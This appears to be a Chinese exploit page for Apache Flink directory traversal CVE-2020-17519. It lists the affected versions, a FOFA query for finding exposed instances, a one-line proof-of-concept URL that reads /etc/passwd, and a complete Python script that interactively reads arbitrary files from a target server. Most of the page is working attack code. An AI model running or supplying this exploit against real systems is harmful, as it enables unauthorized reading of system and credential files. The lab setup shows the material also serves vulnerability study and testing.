Apache Flink 目录遍历漏洞 CVE-2020-17519

# Apache Flink 目录遍历漏洞 CVE-2020-17519

## 漏洞描述

2021年01月06日，360CERT监测发现`Apache Flink`发布了`Apache Flink 目录穿越漏洞,目录穿越漏洞`的风险通告，漏洞编号为`CVE-2020-17518,CVE-2020-17519`，漏洞等级：`高危`，漏洞评分：`8.5`。

远程攻击者通过`REST API`目录遍历，可造成`文件读取/写入`的影响。

## 漏洞影响

> [!NOTE]
>
> Apache Flink 1.11.0
>
> Apache Flink 1.11.1
>
> Apache Flink 1.11.2

## FOFA

> [!NOTE]
>
> app=”Apache Flink”

## 环境搭建

“`
https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519
“`

## 漏洞复现

“`
POC:
http://xxx.xxx.xxx.xxx/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
“`

## 漏洞利用POC

“`python
import requests
import sys
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print(‘+——————————————‘)
print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m’)
print(‘+ \033[34mGithub : https://github.com/PeiQi0 \033[0m’)
print(‘+ \033[34m公众号 : PeiQi文库 \033[0m’)
print(‘+ \033[34mVersion: Apache Flink 1.11.0-1.11.2 \033[0m’)
print(‘+ \033[36m使用格式: python3 CVE-2020-17519.py \033[0m’)
print(‘+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m’)
print(‘+ \033[36mFile >>> /etc/passwd \033[0m’)
print(‘+——————————————‘)

def POC_1(target_url, file_name):
file_name = file_name.replace(“/”, “%252f”)
vuln_url = target_url + “/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{}”.format(file_name)
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, timeout=10, verify=False, headers=headers)
print(“\033[32m[o] 请求URL ： {}\033[0m”.format(vuln_url))
if “root” in response.text:
print(“\033[32m[o] 目标 {} 存在漏洞,成功读取 /etc/passwd ，响应为:\n{}\033[0m”.format(target_url, response.text))
else :
print(“\033[31m[x] 目标Url漏洞利用失败\033[0m”)
sys.exit(0)

except Exception as e:
print(“\033[31m[x] 目标Url漏洞利用失败\033[0m”)
sys.exit(0)

def POC_2(target_url, file_name):
file_name_re = file_name.replace(“/”, “%252f”)
vuln_url = target_url + “/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{}”.format(file_name_re)
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, timeout=10, verify=False, headers=headers)
print(“\033[32m[o] 请求URL ： {}\033[0m”.format(vuln_url))
if “error” not in response.text:
print(“\033[32m[o] 目标 {} 存在漏洞,成功读取 {} ，响应为:\n{}\033[0m”.format(target_url, file_name, response.text))
else :
print(“\033[31m[x] 目标文件{}读取失败\033[0m”.format(file_name))

except Exception as e:
print(“\033[31m[x] 目标Url漏洞利用失败\033[0m”)
sys.exit(0)

if __name__ == ‘__main__’:
title()
target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
file_name = “/etc/passwd”
POC_1(target_url, file_name)

while True:
file_name = input(“\033[35mFile >>> \033[0m”)
if file_name == “exit”:
sys.exit(0)
else:
POC_2(target_url, file_name)
“`